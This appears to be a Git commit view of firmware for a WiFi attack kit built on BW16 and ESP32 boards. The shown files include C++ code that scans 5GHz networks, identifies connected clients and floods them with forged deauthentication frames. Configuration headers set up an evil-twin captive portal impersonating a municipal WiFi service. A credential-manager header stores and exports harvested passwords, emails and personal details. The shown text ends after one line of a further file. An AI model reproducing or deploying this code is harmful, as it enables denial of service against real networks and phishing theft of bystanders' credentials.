chore: import local project into Gitea

This commit is contained in:
2026-05-20 10:03:16 -07:00
commit 7bd88d29b5
4043 changed files with 1056916 additions and 0 deletions

View File

@@ -0,0 +1,627 @@
#include <WiFi.h>
#include <WiFiUdp.h>
#include <ArduinoJson.h>
#include <vector>
// Optional ESP32-specific includes for raw 802.11 TX and critical sections
#ifdef ARDUINO_ARCH_ESP32
#include <esp_wifi.h>
#include <freertos/FreeRTOS.h>
#include <freertos/portmacro.h>
#endif
// --- WiFi compatibility layer (do not change behavior, only unify calls) ---
// Forward declare the user handler implemented later in this file
void promiscuousCallback(uint8_t *buf, uint16_t len);
#ifdef ARDUINO_ARCH_ESP32
static void IRAM_ATTR promiscuousRxAdapter(void* buf, wifi_promiscuous_pkt_type_t type) {
if (!buf) return;
// Pass raw payload to existing handler to preserve behavior
wifi_promiscuous_pkt_t* pkt = reinterpret_cast<wifi_promiscuous_pkt_t*>(buf);
uint8_t* payload = const_cast<uint8_t*>(pkt->payload);
uint16_t len = pkt->rx_ctrl.sig_len;
promiscuousCallback(payload, len);
}
static inline void WiFiCompat_setPromiscuous(bool enable) { esp_wifi_set_promiscuous(enable); }
static inline void WiFiCompat_setPromiscuousCallback() { esp_wifi_set_promiscuous_rx_cb(&promiscuousRxAdapter); }
static inline void WiFiCompat_setChannel(int ch) { esp_wifi_set_channel((uint8_t)ch, WIFI_SECOND_CHAN_NONE); }
static inline void WiFiCompat_sendRaw(const uint8_t* buf, int len, bool /*en_ch*/ ) { esp_wifi_80211_tx(WIFI_IF_STA, (void*)buf, len, true); }
#else
extern "C" {
void wifi_set_promiscuous(bool);
void wifi_set_promiscuous_rx_cb(void (*cb)(uint8_t*, uint16_t));
void wifi_send_pkt_freedom(uint8_t* buf, int len, bool);
void wifi_set_channel(int ch);
}
static void promiscuousRxAdapter(uint8_t* buf, uint16_t len) { promiscuousCallback(buf, len); }
static inline void WiFiCompat_setPromiscuous(bool enable) { wifi_set_promiscuous(enable); }
static inline void WiFiCompat_setPromiscuousCallback() { wifi_set_promiscuous_rx_cb(&promiscuousRxAdapter); }
static inline void WiFiCompat_setChannel(int ch) { wifi_set_channel(ch); }
static inline void WiFiCompat_sendRaw(const uint8_t* buf, int len, bool en_ch) { wifi_send_pkt_freedom((uint8_t*)buf, len, en_ch); }
#endif
// Lightweight critical section helpers for concurrent access from callback
#ifdef ARDUINO_ARCH_ESP32
static portMUX_TYPE g_vectorMux = portMUX_INITIALIZER_UNLOCKED;
#define CRIT_ENTER() portENTER_CRITICAL(&g_vectorMux)
#define CRIT_EXIT() portEXIT_CRITICAL(&g_vectorMux)
#else
#define CRIT_ENTER()
#define CRIT_EXIT()
#endif
// Communication with ESP32 - Fixed pin assignments
#define ESP32_UART_TX 7
#define ESP32_UART_RX 8
#define UART_BAUD 115200
// WiFi configuration
#define MAX_SCAN_RESULTS 50
#define DEAUTH_FRAME_SIZE 26
#define BEACON_FRAME_SIZE 128
// Attack parameters
#define DEAUTH_PACKETS_PER_BURST 50
#define DEAUTH_BURST_INTERVAL 100 // ms
#define SUCCESS_THRESHOLD 10 // successful deauths to consider target down
// Structure for 5GHz access points
struct AP5GHz {
String ssid;
String bssid;
uint8_t bssid_bytes[6];
int channel;
int rssi;
String security;
bool is_target = false;
bool is_down = false;
int deauth_count = 0;
unsigned long last_seen = 0;
unsigned long attack_start = 0;
};
// Structure for connected clients
struct Client {
uint8_t mac[6];
String mac_str;
String ap_bssid;
int rssi;
unsigned long last_seen;
bool is_target = false;
};
// Global variables
std::vector<AP5GHz> accessPoints5GHz;
std::vector<Client> connectedClients;
std::vector<String> targetBSSIDs;
bool scanning = false;
bool attacking = false;
String currentAttackType = "";
unsigned long lastScanUpdate = 0;
unsigned long lastAttackUpdate = 0;
unsigned long lastHeartbeat = 0;
// Attack statistics
struct AttackStats {
int total_deauths_sent = 0;
int successful_disconnects = 0;
int active_targets = 0;
unsigned long attack_duration = 0;
String current_target_ssid = "";
String current_target_bssid = "";
} attackStats;
void setup() {
Serial.begin(UART_BAUD);
Serial1.begin(UART_BAUD, SERIAL_8N1, ESP32_UART_RX, ESP32_UART_TX);
// Initialize WiFi in monitor mode for 5GHz
WiFi.mode(WIFI_STA);
WiFi.disconnect();
// Enable promiscuous mode for packet injection
WiFiCompat_setPromiscuous(true);
WiFiCompat_setPromiscuousCallback();
Serial.println("BW16 5GHz Deauth System Initialized");
sendToESP32("BW16_READY", "5GHz deauth system online");
delay(1000);
}
void loop() {
// Handle ESP32 commands
handleESP32Communication();
// Update scanning
if (scanning) {
updateScan();
}
// Update attacks
if (attacking) {
updateAttacks();
}
// Send periodic heartbeat
if (millis() - lastHeartbeat > 5000) {
sendHeartbeat();
lastHeartbeat = millis();
}
delay(10);
}
void handleESP32Communication() {
if (Serial1.available()) {
String message = Serial1.readStringUntil('\n');
message.trim();
if (message.startsWith("CMD:")) {
processCommand(message.substring(4));
}
}
}
void processCommand(String command) {
DynamicJsonDocument doc(1024);
deserializeJson(doc, command);
String cmd = doc["command"];
if (cmd == "start_scan_5ghz") {
startScan5GHz();
} else if (cmd == "stop_scan") {
stopScan();
} else if (cmd == "start_deauth") {
String target = doc["target"];
String ssid = doc["ssid"];
startDeauthAttack(target, ssid);
} else if (cmd == "stop_attack") {
stopAttack();
} else if (cmd == "get_status") {
sendStatus();
} else if (cmd == "set_channel") {
int channel = doc["channel"];
setChannel5GHz(channel);
}
}
void startScan5GHz() {
scanning = true;
accessPoints5GHz.clear();
connectedClients.clear();
Serial.println("Starting 5GHz scan...");
// Scan 5GHz channels (36, 40, 44, 48, 149, 153, 157, 161, 165)
static const int channels_5ghz[] = {36, 40, 44, 48, 149, 153, 157, 161, 165};
const size_t ch_count = sizeof(channels_5ghz)/sizeof(channels_5ghz[0]);
for (size_t i = 0; i < ch_count; i++) {
setChannel5GHz(channels_5ghz[i]);
delay(500); // Dwell time per channel
// Perform active scan on this channel
scanChannel5GHz(channels_5ghz[i]);
}
sendToESP32("SCAN_COMPLETE", "5GHz scan finished");
}
void scanChannel5GHz(int channel) {
Serial.printf("Scanning 5GHz channel %d\n", channel);
// Use WiFi.scanNetworks() for 5GHz
int n = WiFi.scanNetworks(false, true, false, 300U, channel);
for (int i = 0; i < n; i++) {
// Only process 5GHz networks (channels > 14)
if (WiFi.channel(i) > 14) {
AP5GHz ap;
ap.ssid = WiFi.SSID(i);
ap.bssid = WiFi.BSSIDstr(i);
// Safer BSSID parse to prevent sscanf integer size issues
parseBSSIDSafe(ap.bssid, ap.bssid_bytes);
ap.channel = WiFi.channel(i);
ap.rssi = WiFi.RSSI(i);
ap.security = getSecurityType(WiFi.encryptionType(i));
ap.last_seen = millis();
// Check if AP already exists
bool exists = false;
for (auto& existing : accessPoints5GHz) {
if (existing.bssid == ap.bssid) {
existing.last_seen = millis();
existing.rssi = ap.rssi;
exists = true;
break;
}
}
if (!exists) {
accessPoints5GHz.push_back(ap);
// Send AP info to ESP32
DynamicJsonDocument apDoc(512);
apDoc["type"] = "AP_FOUND";
apDoc["ssid"] = ap.ssid;
apDoc["bssid"] = ap.bssid;
apDoc["channel"] = ap.channel;
apDoc["rssi"] = ap.rssi;
apDoc["security"] = ap.security;
apDoc["band"] = "5GHz";
String apData;
serializeJson(apDoc, apData);
sendToESP32("AP_DATA", apData);
}
}
}
WiFi.scanDelete();
}
void startDeauthAttack(String targetBSSID, String targetSSID) {
attacking = true;
currentAttackType = "deauth";
attackStats.current_target_bssid = targetBSSID;
attackStats.current_target_ssid = targetSSID;
attackStats.attack_duration = millis();
attackStats.total_deauths_sent = 0;
attackStats.successful_disconnects = 0;
// Find target AP
AP5GHz* targetAP = nullptr;
for (auto& ap : accessPoints5GHz) {
if (ap.bssid == targetBSSID) {
ap.is_target = true;
ap.attack_start = millis();
targetAP = &ap;
break;
}
}
if (!targetAP) {
Serial.println("Target AP not found!");
sendToESP32("ATTACK_ERROR", "Target AP not found");
return;
}
// Set channel to target AP's channel
setChannel5GHz(targetAP->channel);
Serial.printf("Starting deauth attack on %s (%s) channel %d\n",
targetSSID.c_str(), targetBSSID.c_str(), targetAP->channel);
// Start monitoring for clients
startClientDiscovery(targetBSSID);
sendToESP32("ATTACK_STARTED", targetBSSID + ":" + targetSSID);
}
void startClientDiscovery(String apBSSID) {
// Enable promiscuous mode to capture client frames
wifi_set_promiscuous(true);
// Clear existing clients for this AP
connectedClients.erase(
std::remove_if(connectedClients.begin(), connectedClients.end(),
[apBSSID](const Client& c) { return c.ap_bssid == apBSSID; }),
connectedClients.end());
Serial.printf("Discovering clients for AP: %s\n", apBSSID.c_str());
}
void updateAttacks() {
if (!attacking || currentAttackType != "deauth") return;
// Find active target
AP5GHz* targetAP = nullptr;
for (auto& ap : accessPoints5GHz) {
if (ap.is_target && !ap.is_down) {
targetAP = &ap;
break;
}
}
if (!targetAP) {
Serial.println("No active target found");
stopAttack();
return;
}
// Send deauth packets every 100ms
if (millis() - lastAttackUpdate > DEAUTH_BURST_INTERVAL) {
sendDeauthBurst(targetAP);
lastAttackUpdate = millis();
// Check if target is down
if (targetAP->deauth_count >= SUCCESS_THRESHOLD) {
targetAP->is_down = true;
attackStats.successful_disconnects++;
Serial.printf("Target %s successfully taken down!\n", targetAP->ssid.c_str());
// Notify ESP32 to start evil portal
DynamicJsonDocument successDoc(512);
successDoc["type"] = "DEAUTH_SUCCESS";
successDoc["ssid"] = targetAP->ssid;
successDoc["bssid"] = targetAP->bssid;
successDoc["channel"] = targetAP->channel;
successDoc["deauth_count"] = targetAP->deauth_count;
String successData;
serializeJson(successDoc, successData);
sendToESP32("DEAUTH_SUCCESS", successData);
// Continue attacking to keep it down
}
}
}
void sendDeauthBurst(AP5GHz* targetAP) {
uint8_t deauthPacket[DEAUTH_FRAME_SIZE];
// Build deauth frame
// Frame Control
deauthPacket[0] = 0xC0; // Type: Management, Subtype: Deauthentication
deauthPacket[1] = 0x00;
// Duration
deauthPacket[2] = 0x00;
deauthPacket[3] = 0x00;
// Destination (broadcast)
memset(&deauthPacket[4], 0xFF, 6);
// Source (AP BSSID)
memcpy(&deauthPacket[10], targetAP->bssid_bytes, 6);
// BSSID (AP BSSID)
memcpy(&deauthPacket[16], targetAP->bssid_bytes, 6);
// Sequence Control
deauthPacket[22] = 0x00;
deauthPacket[23] = 0x00;
// Reason Code (0x0007 = Class 3 frame received from nonassociated STA)
deauthPacket[24] = 0x07;
deauthPacket[25] = 0x00;
// Send burst of deauth packets
for (int i = 0; i < DEAUTH_PACKETS_PER_BURST; i++) {
// Broadcast deauth
WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
// If we have discovered clients, target them specifically
CRIT_ENTER();
for (const auto& client : connectedClients) {
if (client.ap_bssid == targetAP->bssid) {
// Modify destination to client MAC
memcpy(&deauthPacket[4], client.mac, 6);
WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
// Also send from client to AP
memcpy(&deauthPacket[4], targetAP->bssid_bytes, 6); // Destination: AP
memcpy(&deauthPacket[10], client.mac, 6); // Source: Client
WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
}
}
CRIT_EXIT();
delayMicroseconds(100); // Small delay between packets
}
targetAP->deauth_count += DEAUTH_PACKETS_PER_BURST;
attackStats.total_deauths_sent += DEAUTH_PACKETS_PER_BURST;
Serial.printf("Sent %d deauth packets to %s (total: %d)\n",
DEAUTH_PACKETS_PER_BURST, targetAP->ssid.c_str(), targetAP->deauth_count);
}
void promiscuousCallback(uint8_t *buf, uint16_t len) {
if (len < 24) return; // Minimum frame size
// Parse frame type
uint8_t frameType = buf[0] & 0xFC;
uint8_t frameSubType = (buf[0] & 0xF0) >> 4;
// Look for data frames to identify clients
if (frameType == 0x08) { // Data frame
uint8_t* srcMAC = &buf[10];
uint8_t* dstMAC = &buf[4];
uint8_t* bssid = &buf[16];
// Check if this is communication with our target AP
for (const auto& ap : accessPoints5GHz) {
if (ap.is_target && memcmp(bssid, ap.bssid_bytes, 6) == 0) {
// Found client communication
uint8_t* clientMAC = nullptr;
// Determine which MAC is the client
if (memcmp(srcMAC, ap.bssid_bytes, 6) != 0) {
clientMAC = srcMAC;
} else if (memcmp(dstMAC, ap.bssid_bytes, 6) != 0) {
clientMAC = dstMAC;
}
if (clientMAC) {
addDiscoveredClient(clientMAC, ap.bssid);
}
break;
}
}
}
}
void addDiscoveredClient(uint8_t* clientMAC, String apBSSID) {
// Check if client already exists
CRIT_ENTER();
for (auto& client : connectedClients) {
if (memcmp(client.mac, clientMAC, 6) == 0 && client.ap_bssid == apBSSID) {
client.last_seen = millis();
CRIT_EXIT();
return;
}
}
// Add new client
Client newClient;
memcpy(newClient.mac, clientMAC, 6);
newClient.mac_str = macToString(clientMAC);
newClient.ap_bssid = apBSSID;
newClient.last_seen = millis();
newClient.is_target = true;
connectedClients.push_back(newClient);
CRIT_EXIT();
Serial.printf("Discovered client: %s connected to %s\n",
newClient.mac_str.c_str(), apBSSID.c_str());
// Notify ESP32 about discovered client
DynamicJsonDocument clientDoc(256);
clientDoc["type"] = "CLIENT_FOUND";
clientDoc["mac"] = newClient.mac_str;
clientDoc["ap_bssid"] = apBSSID;
String clientData;
serializeJson(clientDoc, clientData);
sendToESP32("CLIENT_DATA", clientData);
}
void stopScan() {
scanning = false;
Serial.println("5GHz scan stopped");
sendToESP32("SCAN_STOPPED", "");
}
void stopAttack() {
attacking = false;
currentAttackType = "";
// Reset target flags
for (auto& ap : accessPoints5GHz) {
ap.is_target = false;
ap.is_down = false;
ap.deauth_count = 0;
}
// Clear client targets
for (auto& client : connectedClients) {
client.is_target = false;
}
WiFiCompat_setPromiscuous(false);
Serial.println("Attack stopped");
sendToESP32("ATTACK_STOPPED", "");
}
void setChannel5GHz(int channel) {
// Set 5GHz channel
WiFiCompat_setChannel(channel);
Serial.printf("Set 5GHz channel to %d\n", channel);
}
void sendStatus() {
DynamicJsonDocument statusDoc(1024);
statusDoc["type"] = "BW16_STATUS";
statusDoc["scanning"] = scanning;
statusDoc["attacking"] = attacking;
statusDoc["attack_type"] = currentAttackType;
statusDoc["aps_found"] = accessPoints5GHz.size();
statusDoc["clients_found"] = connectedClients.size();
// Attack statistics
JsonObject stats = statusDoc.createNestedObject("attack_stats");
stats["total_deauths"] = attackStats.total_deauths_sent;
stats["successful_disconnects"] = attackStats.successful_disconnects;
stats["current_target_ssid"] = attackStats.current_target_ssid;
stats["current_target_bssid"] = attackStats.current_target_bssid;
if (attacking) {
stats["attack_duration"] = (millis() - attackStats.attack_duration) / 1000;
}
String statusData;
serializeJson(statusDoc, statusData);
sendToESP32("STATUS", statusData);
}
void sendHeartbeat() {
DynamicJsonDocument heartbeatDoc(256);
heartbeatDoc["type"] = "HEARTBEAT";
heartbeatDoc["uptime"] = millis() / 1000;
heartbeatDoc["free_memory"] = ESP.getFreeHeap();
String heartbeatData;
serializeJson(heartbeatDoc, heartbeatData);
sendToESP32("HEARTBEAT", heartbeatData);
}
void updateScan() {
// Periodic scan updates
if (millis() - lastScanUpdate > 10000) { // Every 10 seconds
// Remove old APs
accessPoints5GHz.erase(
std::remove_if(accessPoints5GHz.begin(), accessPoints5GHz.end(),
[](const AP5GHz& ap) { return millis() - ap.last_seen > 30000; }),
accessPoints5GHz.end());
lastScanUpdate = millis();
}
}
void sendToESP32(String type, String data) {
DynamicJsonDocument doc(1024);
doc["type"] = type;
doc["data"] = data;
doc["timestamp"] = millis();
String message;
serializeJson(doc, message);
Serial1.println(message);
Serial.printf("Sent to ESP32: %s\n", message.c_str());
}
// Utility functions
// Original kept for compatibility; prefer parseBSSIDSafe
void parseBSSID(String bssidStr, uint8_t* bssidBytes) {
parseBSSIDSafe(bssidStr, bssidBytes);
}
void parseBSSIDSafe(const String& bssidStr, uint8_t* bssidBytes) {
unsigned int v[6] = {0};
if (sscanf(bssidStr.c_str(), "%02x:%02x:%02x:%02x:%02x:%02x",
&v[0], &v[1], &v[2], &v[3], &v[4], &v[5]) == 6) {
for (int i = 0; i < 6; ++i) bssidBytes[i] = static_cast<uint8_t>(v[i]);
} else {
memset(bssidBytes, 0, 6);
}
}
String macToString(uint8_t* mac) {
char macStr[18];
sprintf(macStr, "%02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
return String(macStr);
}
String getSecurityType(wifi_auth_mode_t encType) {
switch (encType) {
case WIFI_AUTH_OPEN: return "Open";
case WIFI_AUTH_WEP: return "WEP";
case WIFI_AUTH_WPA_PSK: return "WPA";
case WIFI_AUTH_WPA2_PSK: return "WPA2";
case WIFI_AUTH_WPA_WPA2_PSK: return "WPA/WPA2";
case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-Enterprise";
case WIFI_AUTH_WPA3_PSK: return "WPA3";
default: return "Unknown";
}
}

View File

@@ -0,0 +1,62 @@
/**
* WiFiX-Enhanced Configuration
*
* Derived from config_template.h with neutral branding and values.
*/
#ifndef CONFIG_H
#define CONFIG_H
// =============================================================================
// DEVICE CONFIGURATION
// =============================================================================
#define DEVICE_NAME "WiFiX_Enhanced"
#define DEVICE_VERSION "1.2.0"
#define HARDWARE_ID "BW16_ESP32"
#define MODE_CAPTIVE_PORTAL 0
#define MODE_DEAUTH_ONLY 1
#define MODE_EVIL_TWIN 2
#define OPERATING_MODE MODE_CAPTIVE_PORTAL
// =============================================================================
// NETWORK CONFIGURATION
// =============================================================================
// Neutral SSID for the AP
#define DEFAULT_SSID "Public_WiFi"
#define DEFAULT_PASSWORD "" // Open network by default
#define HIDDEN_NETWORK false
#define MAX_CLIENTS 8
#define AP_IP_ADDR "192.168.4.1"
#define AP_GATEWAY "192.168.4.1"
#define AP_SUBNET "255.255.255.0"
#define DHCP_START "192.168.4.10"
#define DHCP_END "192.168.4.50"
#define WEB_SERVER_PORT 80
#define DNS_PORT 53
#define CAPTIVE_PORTAL_DOMAIN "wifi.portal.local"
#define REDIRECT_URL "http://192.168.4.1"
// =============================================================================
// WEB INTERFACE SETTINGS (Branding)
// =============================================================================
#define PORTAL_COMPANY_NAME "Public WiFi"
#define PORTAL_LOGO_URL "/logo.png"
#define PORTAL_BACKGROUND_URL "/background.jpg"
#define SESSION_TIMEOUT_MINUTES 120
#define ENABLE_SOCIAL_LOGIN false
#define ENABLE_TERMS_ACCEPTANCE true
// =============================================================================
// SECURITY & DEBUG (kept minimal here)
// =============================================================================
#define ENABLE_SERIAL_DEBUG true
#define DEBUG_LEVEL 2
#endif // CONFIG_H

View File

@@ -0,0 +1,246 @@
/**
* WiFiX-Enhanced Configuration Template
*
* Copy this file to config.h and modify values as needed
* This file contains all configurable parameters for the system
*/
#ifndef CONFIG_H
#define CONFIG_H
// =============================================================================
// DEVICE CONFIGURATION
// =============================================================================
// Device identification
#define DEVICE_NAME "WiFiX_Enhanced"
#define DEVICE_VERSION "1.2.0"
#define HARDWARE_ID "BW16_ESP32"
// Operational modes
#define MODE_CAPTIVE_PORTAL 0
#define MODE_DEAUTH_ONLY 1
#define MODE_EVIL_TWIN 2
#define OPERATING_MODE MODE_CAPTIVE_PORTAL
// =============================================================================
// NETWORK CONFIGURATION
// =============================================================================
// WiFi Access Point settings
#define DEFAULT_SSID "CityNet_Public_WiFi"
#define DEFAULT_PASSWORD "" // Empty for open network
#define HIDDEN_NETWORK false
#define MAX_CLIENTS 8
// Network addressing
#define AP_IP_ADDR "192.168.4.1"
#define AP_GATEWAY "192.168.4.1"
#define AP_SUBNET "255.255.255.0"
#define DHCP_START "192.168.4.10"
#define DHCP_END "192.168.4.50"
// Web server configuration
#define WEB_SERVER_PORT 80
#define DNS_PORT 53
#define CAPTIVE_PORTAL_DOMAIN "wifi.citynet.local"
#define REDIRECT_URL "http://192.168.4.1"
// =============================================================================
// HARDWARE PIN CONFIGURATION
// =============================================================================
// I2C for OLED display
#define I2C_SDA 21
#define I2C_SCL 22
#define OLED_ADDRESS 0x3C
#define OLED_RESET -1 // Not used for SSD1306
// SPI for SD card
#define SD_CARD_CS_PIN 5
#define SD_CARD_MOSI 23
#define SD_CARD_MISO 19
#define SD_CARD_CLK 18
// UART for BW16 communication
#define BW16_UART_TX 17
#define BW16_UART_RX 16
#define BW16_BAUD_RATE 115200
// Status LED (if available)
#define STATUS_LED_PIN 2
#define LED_ACTIVE_HIGH true
// =============================================================================
// FEATURE TOGGLES
// =============================================================================
#define ENABLE_SD_CARD true
#define ENABLE_OLED_DISPLAY true
#define ENABLE_SERIAL_DEBUG true
#define ENABLE_WEB_INTERFACE true
#define ENABLE_DNS_REDIRECT true
#define ENABLE_DEAUTHENTICATION true
#define ENABLE_CREDENTIAL_BACKUP true
#define ENABLE_AUTO_BACKUP true
// =============================================================================
// CREDENTIAL MANAGEMENT
// =============================================================================
// Storage limits
#define MAX_CREDENTIALS 100
#define CREDENTIAL_ENCRYPTION true
#define ENCRYPTION_KEY "WiFiX2024SecureKey!" // Change this!
// Backup configuration
#define BACKUP_TO_SD true
#define BACKUP_INTERVAL_MINUTES 5
#define MAX_BACKUP_FILES 10
#define BACKUP_FILE_PREFIX "credentials_"
// Credential types
#define CRED_TYPE_GENERIC 0
#define CRED_TYPE_HOTEL 1
#define CRED_TYPE_CORPORATE 2
#define CRED_TYPE_PUBLIC 3
#define CRED_TYPE_SOCIAL 4
// =============================================================================
// DEAUTHENTICATION SETTINGS
// =============================================================================
#define DEAUTH_CHANNEL_HOP true
#define DEAUTH_INTERVAL_MS 100
#define DEAUTH_MAX_RETRIES 3
#define DEAUTH_TARGETED_ONLY false // If true, only target specific MACs
#define DEAUTH_WHITELIST_SIZE 10
// Target MAC addresses (if DEAUTH_TARGETED_ONLY is true)
const char* TARGET_MACS[] = {
"FF:FF:FF:FF:FF:FF", // Broadcast (all devices)
"", // Add specific MACs here
"",
"",
""
};
// =============================================================================
// WEB INTERFACE SETTINGS
// =============================================================================
// Portal realism
#define PORTAL_COMPANY_NAME "CityNet Municipal WiFi"
#define PORTAL_LOGO_URL "/logo.png"
#define PORTAL_BACKGROUND_URL "/background.jpg"
#define SESSION_TIMEOUT_MINUTES 120
#define ENABLE_SOCIAL_LOGIN true
#define ENABLE_TERMS_ACCEPTANCE true
// Form validation
#define MIN_PASSWORD_LENGTH 6
#define REQUIRE_EMAIL_VALIDATION true
#define ENABLE_RATE_LIMITING true
#define MAX_LOGIN_ATTEMPTS 3
// =============================================================================
// SECURITY SETTINGS
// =============================================================================
// Encryption and hashing
#define USE_HTTPS false // Not recommended for captive portals
#define HASH_ALGORITHM "SHA256"
#define SALT_LENGTH 16
// Access control
#define ENABLE_PASSWORD_PROTECTION false
#define ADMIN_PASSWORD "admin123" // Change this!
#define ENABLE_REMOTE_ACCESS false
#define ALLOWED_IPS {"192.168.4.2"} // Admin IP
// =============================================================================
// DEBUGGING AND LOGGING
// =============================================================================
#define DEBUG_LEVEL 2 // 0=None, 1=Error, 2=Info, 3=Debug
#define ENABLE_SERIAL_LOG true
#define ENABLE_SD_LOG true
#define LOG_FILE_PREFIX "log_"
#define MAX_LOG_FILES 5
// Debug output macros
#if DEBUG_LEVEL >= 3
#define DEBUG_PRINT(x) Serial.print(x)
#define DEBUG_PRINTLN(x) Serial.println(x)
#define DEBUG_PRINTF(x, ...) Serial.printf(x, __VA_ARGS__)
#elif DEBUG_LEVEL >= 2
#define DEBUG_PRINT(x)
#define DEBUG_PRINTLN(x) Serial.println(x)
#define DEBUG_PRINTF(x, ...) Serial.printf(x, __VA_ARGS__)
#elif DEBUG_LEVEL >= 1
#define DEBUG_PRINT(x)
#define DEBUG_PRINTLN(x)
#define DEBUG_PRINTF(x, ...)
#else
#define DEBUG_PRINT(x)
#define DEBUG_PRINTLN(x)
#define DEBUG_PRINTF(x, ...)
#endif
// =============================================================================
// PERFORMANCE SETTINGS
// =============================================================================
// Memory management
#define ENABLE_MEMORY_MONITORING true
#define MEMORY_WARNING_THRESHOLD 80 // Percentage
#define ENABLE_AUTO_RESTART true
#define RESTART_INTERVAL_HOURS 24
// Timing
#define LOOP_DELAY_MS 10
#define WIFI_SCAN_INTERVAL_MS 5000
#define CLIENT_CHECK_INTERVAL_MS 1000
#define CREDENTIAL_SAVE_DELAY_MS 100
// =============================================================================
// ADVANCED SETTINGS
// =============================================================================
// Over-the-air updates (ESP32 only)
#define ENABLE_OTA_UPDATES true
#define OTA_PASSWORD "ota_update_2024" // Change this!
#define OTA_PORT 8266
// MQTT integration (optional)
#define ENABLE_MQTT false
#define MQTT_SERVER "192.168.1.100"
#define MQTT_PORT 1883
#define MQTT_USER ""
#define MQTT_PASSWORD ""
#define MQTT_TOPIC_PREFIX "wifix"
// Custom HTML/CSS/JS injection
#define ENABLE_CUSTOM_STYLING false
#define CUSTOM_CSS_FILE "/custom.css"
#define CUSTOM_JS_FILE "/custom.js"
// =============================================================================
// VALIDATION AND SANITY CHECKS
// =============================================================================
// Ensure critical settings are valid
#if MAX_CREDENTIALS > 500
#error "MAX_CREDENTIALS too high for available memory"
#endif
#if !defined(ENCRYPTION_KEY) || strlen(ENCRYPTION_KEY) < 16
#error "ENCRYPTION_KEY must be at least 16 characters"
#endif
#if ENABLE_OTA_UPDATES && !defined(OTA_PASSWORD)
#error "OTA_PASSWORD must be defined if OTA updates are enabled"
#endif
// =============================================================================
#endif // CONFIG_H

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,177 @@
#ifndef CREDENTIAL_MANAGER_H
#define CREDENTIAL_MANAGER_H
#include <Arduino.h>
#include <ArduinoJson.h>
#include <SPIFFS.h>
#include <WiFi.h>
#include <mbedtls/aes.h>
#include <mbedtls/md.h>
#include <mbedtls/entropy.h>
#include <mbedtls/ctr_drbg.h>
// Configuration constants
#define MAX_CREDENTIALS 500
#define CREDENTIAL_FILE "/credentials.enc"
#define STATS_FILE "/stats.json"
#define AES_KEY_SIZE 32
#define AES_IV_SIZE 16
#define HASH_SIZE 32
// Credential types
enum CredentialType {
CRED_GENERIC = 0,
CRED_HOTEL = 1,
CRED_CORPORATE = 2,
CRED_PUBLIC = 3,
CRED_SOCIAL = 4
};
// Credential structure
struct Credential {
uint32_t id;
CredentialType type;
char ssid[33];
char timestamp[25];
char ip_address[16];
char user_agent[256];
// Generic fields
char username[64];
char password[128];
char email[128];
// Hotel specific
char room_number[10];
char last_name[64];
// Corporate specific
char department[32];
char employee_id[16];
// Public WiFi specific
char full_name[64];
char phone[20];
char purpose[32];
// Social login
char provider[16];
bool is_valid;
uint32_t checksum;
};
// Statistics structure
struct CredentialStats {
uint32_t total_captured;
uint32_t generic_count;
uint32_t hotel_count;
uint32_t corporate_count;
uint32_t public_count;
uint32_t social_count;
uint32_t unique_ssids;
char last_capture[25];
char first_capture[25];
uint32_t session_captures;
float success_rate;
};
class CredentialManager {
private:
uint8_t encryption_key[AES_KEY_SIZE];
uint8_t iv[AES_IV_SIZE];
mbedtls_aes_context aes_ctx;
mbedtls_entropy_context entropy;
mbedtls_ctr_drbg_context ctr_drbg;
Credential* credentials;
uint32_t credential_count;
uint32_t next_id;
CredentialStats stats;
bool initialized;
bool encryption_enabled;
// Private methods
bool initializeEncryption();
bool generateEncryptionKey();
bool encryptData(const uint8_t* input, size_t input_len, uint8_t* output, size_t* output_len);
bool decryptData(const uint8_t* input, size_t input_len, uint8_t* output, size_t* output_len);
uint32_t calculateChecksum(const Credential* cred);
bool validateCredential(const Credential* cred);
void updateStats(const Credential* cred);
bool saveCredentialsToFile();
bool loadCredentialsFromFile();
bool saveStatsToFile();
bool loadStatsFromFile();
void sanitizeInput(char* input, size_t max_len);
bool isDuplicateCredential(const Credential* cred);
public:
CredentialManager();
~CredentialManager();
// Initialization
bool begin(bool enable_encryption = true);
bool isInitialized() const { return initialized; }
// Credential management
bool addCredential(const JsonDocument& json_data);
bool addGenericCredential(const char* ssid, const char* username, const char* password, const char* email = nullptr);
bool addHotelCredential(const char* ssid, const char* room_number, const char* last_name, const char* email = nullptr);
bool addCorporateCredential(const char* ssid, const char* username, const char* password, const char* department, const char* employee_id);
bool addPublicCredential(const char* ssid, const char* email, const char* name, const char* phone = nullptr, const char* purpose = nullptr);
bool addSocialCredential(const char* ssid, const char* provider);
// Data retrieval
uint32_t getCredentialCount() const { return credential_count; }
const Credential* getCredential(uint32_t index) const;
const Credential* getCredentialById(uint32_t id) const;
const CredentialStats* getStats() const { return &stats; }
// Export functions
String exportCredentialsJSON(bool include_passwords = false);
String exportCredentialsCSV(bool include_passwords = false);
String exportStatsJSON();
bool exportToSD(const char* filename, bool include_passwords = false);
bool autoBackupToSD();
// Search and filter
uint32_t findCredentialsBySSID(const char* ssid, uint32_t* results, uint32_t max_results);
uint32_t findCredentialsByType(CredentialType type, uint32_t* results, uint32_t max_results);
uint32_t findCredentialsByTimeRange(const char* start_time, const char* end_time, uint32_t* results, uint32_t max_results);
// Management functions
bool clearAllCredentials();
bool deleteCredential(uint32_t id);
bool compactStorage();
size_t getStorageUsed();
size_t getStorageAvailable();
// Security functions
bool changeEncryptionKey(const char* new_key);
bool verifyIntegrity();
bool createBackup(const char* filename);
bool restoreBackup(const char* filename);
// Real-time functions
void resetSessionStats();
float getCurrentSuccessRate();
uint32_t getSessionCaptures() const { return stats.session_captures; }
// Utility functions
static const char* credentialTypeToString(CredentialType type);
static CredentialType stringToCredentialType(const char* type_str);
static String formatTimestamp();
static bool isValidEmail(const char* email);
static bool isValidPhone(const char* phone);
};
// Global instance
extern CredentialManager credentialManager;
// Helper macros
#define CRED_LOG(msg) Serial.printf("[CRED] %s\n", msg)
#define CRED_LOG_F(fmt, ...) Serial.printf("[CRED] " fmt "\n", ##__VA_ARGS__)
#endif // CREDENTIAL_MANAGER_H

View File

@@ -0,0 +1,918 @@
#include <WiFi.h>
